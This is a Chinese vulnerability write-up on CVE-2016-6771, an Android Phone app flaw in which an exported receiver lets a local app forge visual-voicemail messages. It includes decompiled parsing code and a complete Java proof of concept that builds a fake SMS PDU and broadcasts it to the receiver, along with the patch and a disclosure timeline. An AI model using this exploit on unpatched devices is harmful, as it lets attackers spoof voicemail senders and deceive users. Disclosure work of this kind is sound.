作者:Xbalien@tsrc

谷歌近期对外公布了12月份的安全公告,其中包含腾讯安全平台部金刚(KingKong)团队提交的语音信箱伪造漏洞(CVE-2016-6771),该漏洞可导致恶意应用进行伪造语音信箱攻击。目前谷歌已经发布补丁,本文将对该漏洞进行分析。

漏洞概述

Phone应用中存在一处未受保护的暴露组件com.android.phone.vvm.omtp.sms.OmtpMessageReceiver,该组件接收来自外部的Intent,解析承载的VVM协议,构造语音信箱。该漏洞可以被本地恶意应用触发,进行伪造语音信箱攻击。该漏洞属于比较常规的暴露组件问题。

漏洞详情

在对AOSP中系统应用进行分析时,发现系统应用TeleService.apk(com.android.phone)存在一处暴露组件,该组件为com.android.phone.vvm.omtp.sms.OmtpMessageReceiver。根据组件名字应该是处理某类消息的组件,回想起以前谷歌出现的短信伪造漏洞,于是决定尝试进行分析,看是否存在该类漏洞。 由于该组件是一个广播接收者,于是分析onReceive回调函数处理逻辑,代码如下:

 public void onReceive(Context context, Intent intent) {
        this.mContext = context;
        this.mPhoneAccount = PhoneUtils.makePstnPhoneAccountHandle(intent.getExtras().getInt("phone"));
        if(this.mPhoneAccount == null) {
            Log.w("OmtpMessageReceiver", "Received message for null phone account");
            return;
        }
        if(!VisualVoicemailSettingsUtil.isVisualVoicemailEnabled(this.mContext, this.mPhoneAccount)) {
            Log.v("OmtpMessageReceiver", "Received vvm message for disabled vvm source.");
            return;
        }
        //开始解析intent,将intent承载的额外数据还原为SmsMessage(短信消息)
        SmsMessage[] v5 = Telephony$Sms$Intents.getMessagesFromIntent(intent);
        StringBuilder v3 = new StringBuilder();
        int v0;
        //把短信消息的body提取出来并合并
        for(v0 = 0; v0 < v5.length; ++v0) {
            if(v5[v0].mWrappedSmsMessage != null) {
                v3.append(v5[v0].getMessageBody());
            }
        }
        //通过OmtpSmsParser.parse对短息消息的body(vvm协议)进行解析封装到对应处理类
        WrappedMessageData v4 = OmtpSmsParser.parse(v3.toString());
        //根据不同的协议执行不同功能
        if(v4 != null) {
            if(v4.getPrefix() == "//VVM:SYNC:") {
                SyncMessage v2 = new SyncMessage(v4);
                Log.v("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());
                LocalLogHelper.log("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());
                this.processSync(v2);
            }
            else if(v4.getPrefix() == "//VVM:STATUS:") {
                Log.v("OmtpMessageReceiver", "Received STATUS sms for " + this.mPhoneAccount.getId());
                LocalLogHelper.log("OmtpMessageReceiver", "Received Status sms for " + this.mPhoneAccount.getId());
                this.updateSource(new StatusMessage(v4));
            }
            else {
                Log.e("OmtpMessageReceiver", "This should never have happened");
            }
        }
    }
  1. 当intent承载的额外数据phone为存在的PhoneAccount且isVisualVoicemailEnabled的时候,会进入vvm协议的解析流程;
  2. 解析流程中首先通过Telephony$Sms$Intents.getMessagesFromIntent,把intent里承载的额外数据构造成SmsMessage,通过查看对应处理方法,可以知道intent承载的额外数据可以是3gpp短信消息结构;
public static SmsMessage[] getMessagesFromIntent(Intent intent) {  
    Object[] messages;
    try {
        //提取pdus原始数据
          messages = (Object[]) intent.getSerializableExtra("pdus");
    }
    catch (ClassCastException e) {
          Rlog.e(TAG, "getMessagesFromIntent: " + e);
          return null;
    }
    if (messages == null) {
          Rlog.e(TAG, "pdus does not exist in the intent");
          return null;
    }
    //获取短消息格式类型
    String format = intent.getStringExtra("format");
    int subId = intent.getIntExtra(PhoneConstants.SUBSCRIPTION_KEY,
    SubscriptionManager.getDefaultSmsSubscriptionId());
    Rlog.v(TAG, " getMessagesFromIntent sub_id : " + subId);
    int pduCount = messages.length;
    SmsMessage[] msgs = new SmsMessage[pduCount];
    //构造短信消息
    for (int i = 0; i < pduCount; i++) {
        byte[] pdu = (byte[]) messages[i];
        msgs[i] = SmsMessage.createFromPdu(pdu, format);
        msgs[i].setSubId(subId);
    }
    return msgs;
}

3.从短信消息结构中提取出body部分,交由OmtpSmsParser.parse解析,流程如下:

package com.android.phone.vvm.omtp.sms;  
import android.util.ArrayMap;  
import android.util.Log;  
import java.util.Map;  
public class OmtpSmsParser {  
    private static String TAG;
    static {
        OmtpSmsParser.TAG = "OmtpSmsParser";
    }
    public OmtpSmsParser() {
        super();
    }
    public static WrappedMessageData parse(String smsBody) {
        WrappedMessageData v4 = null;
        if(smsBody == null) {
            return v4;
        }
        WrappedMessageData v0 = null;
        //短息消息需要满足前缀
        if(smsBody.startsWith("//VVM:SYNC:")) {
            v0 = new WrappedMessageData("//VVM:SYNC:", OmtpSmsParser.parseSmsBody(smsBody.substring(
                    "//VVM:SYNC:".length())));
            if(v0.extractString("ev") == null) {
                Log.e(OmtpSmsParser.TAG, "Missing mandatory field: ev");
                return v4;
            }
        }
        else if(smsBody.startsWith("//VVM:STATUS:")) {
            v0 = new WrappedMessageData("//VVM:STATUS:", OmtpSmsParser.parseSmsBody(smsBody.substring(
                    "//VVM:STATUS:".length())));
        }
        return v0;
    }
    //前缀之后需要满足的消息结构
    private static Map parseSmsBody(String message) {
        ArrayMap v3 = new ArrayMap();
        String[] v0 = message.split(";");
        int v6 = v0.length;
        int v4;
        for(v4 = 0; v4 < v6; ++v4) {
            String[] v2 = v0[v4].split("=");
            if(v2.length == 2) {
                ((Map)v3).put(v2[0].trim(), v2[1].trim());
            }
        }
        return ((Map)v3);
    }
}

通过分析解析流程,可以知道vvm协议由//VVM:STATUS或者//VVM:SYNC开头,后面有多个字段,由“;”分号作为分割,“=”等号作为键值对,通过分析StatusMessage(v4),SyncMessage(v4)的构造函数

public SyncMessage(WrappedMessageData wrappedData) {  
        super();
        this.mSyncTriggerEvent = wrappedData.extractString("ev");
        this.mMessageId = wrappedData.extractString("id");
        this.mMessageLength = wrappedData.extractInteger("l");
        this.mContentType = wrappedData.extractString("t");
        this.mSender = wrappedData.extractString("s");
        this.mNewMessageCount = wrappedData.extractInteger("c");
        this.mMsgTimeMillis = wrappedData.extractTime("dt");
    }

public StatusMessage(WrappedMessageData wrappedData) {  
        super();
        this.mProvisioningStatus = wrappedData.extractString("st");
        this.mStatusReturnCode = wrappedData.extractString("rc");
        this.mSubscriptionUrl = wrappedData.extractString("rs");
        this.mServerAddress = wrappedData.extractString("srv");
        this.mTuiAccessNumber = wrappedData.extractString("tui");
        this.mClientSmsDestinationNumber = wrappedData.extractString("dn");
        this.mImapPort = wrappedData.extractString("ipt");
        this.mImapUserName = wrappedData.extractString("u");
        this.mImapPassword = wrappedData.extractString("pw");
        this.mSmtpPort = wrappedData.extractString("spt");
        this.mSmtpUserName = wrappedData.extractString("smtp_u");
        this.mSmtpPassword = wrappedData.extractString("smtp_pw");
    }

可以知道,程序要解析vvm协议如下:

//VVM:STATUS:st=xxx;rc=0;rs=xxx;srv=xxx;tui=xxx;dn=xxx;ipt=xxx;u=xxx;pw=xxx;spt=xxx;smtp_u=xxx;smtp_pw=xxx
//VVM:SYNC:ev=xxx;id=xxx;l=xxx;t=xxx;s=xxx;c=xxx;dt=xxx;srv=xxx;ipt=xxx;u=xxx;pw=xxx

4.根据vvm协议,构造不同的数据结构,最后根据不同的协议执行不同的流程。
5.在测试过程中,发现//VVM:SYNC可以指定来源,伪造任意号码。而如果要在进入可视化语音邮箱界面,点击播放语音时能够产生语音的下载,需要事先有//VVM:STATUS协议,这样在点击播放时才会去对应的服务器进行账号登录,获取数据(具体的测试本人并深入去测试,如有错误望大家指正),相关vvm协议可以参考资料[1]和[2]。

POC如下:

构造一个短信消息结构,其中body为符合相关解析流程的//VVM协议,就可以让OmtpMessageReceiver根据外部intent承载的额外数据构造伪造的语音信箱。其中,较早版本的Android系统曾经出现过伪造短信的漏洞,直接利用那段代码[3],构造短信消息可以。

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        statusButton = (Button) findViewById(R.id.status_btn);
        syncButton = (Button) findViewById(R.id.sync_btn);

        statusButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                //VVM:STATUS消息
                createFakeSms(MainActivity.this, "100000", "//VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9");
            }
        });

        syncButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                //VVM:SYNC消息
                createFakeSms(MainActivity.this, "100000", "//VVM:SYNC:ev=NM;c=1;t=v;s=12345678;dt=09/16/2016 10:53 -0400;l=7;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;");
            }
        });
    }

    //构造短信消息
    private static void createFakeSms(Context context, String sender,
                                      String body) {
        byte[] pdu = null;
        byte[] scBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD("0000000000");
        byte[] senderBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD(sender);
        int lsmcs = scBytes.length;
        byte[] dateBytes = new byte[7];
        Calendar calendar = new GregorianCalendar();
        dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
        dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
        dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
        dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
        dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
        dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
        dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
                .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
        try {
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            bo.write(lsmcs);
            bo.write(scBytes);
            bo.write(0x04);
            bo.write((byte) sender.length());
            bo.write(senderBytes);
            bo.write(0x00);
            bo.write(0x00); // encoding: 0 for default 7bit
            bo.write(dateBytes);
            try {
                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
                Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
                        "stringToGsm7BitPacked", new Class[] { String.class });
                stringToGsm7BitPacked.setAccessible(true);
                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
                        body);
                bo.write(bodybytes);
            } catch (Exception e) {
            }

            pdu = bo.toByteArray();
        } catch (IOException e) {
        }
        //构造待发送的intent
        Intent intent = new Intent();
        intent.setClassName("com.android.phone",
                "com.android.phone.vvm.omtp.sms.OmtpMessageReceiver");
        intent.putExtra("phone",0);
        intent.putExtra("pdus", new Object[] { pdu });
        intent.putExtra("format", "3gpp");
        context.sendBroadcast(intent);
    }

    private static byte reverseByte(byte b) {
        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
    }

实际效果

可以伪造语音信箱来源为12345678,欺骗用户

修复方案

谷歌的修复方案是设置该组件为不导出 https://android.googlesource.com/platform/packages/services/Telephony/+/a39ff9526aee6f2ea4f6e02412db7b33d486fd7d

时间线

  • 2016.09.17 提交漏洞报告至 Android issue Tracker
  • 2016.10.04 确认漏洞,ANDROID-31566390
  • 2016.10.27 分配CVE-2016-6771
  • 2016.12.06 谷歌公告

参考

[1].https://shubs.io/breaking-international-voicemail-security-via-vvm-exploitation/

[2].http://www.gsma.com/newsroom/wp-content/uploads/2012/07/OMTP_VVM_Specification13.pdf

[3].(http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp)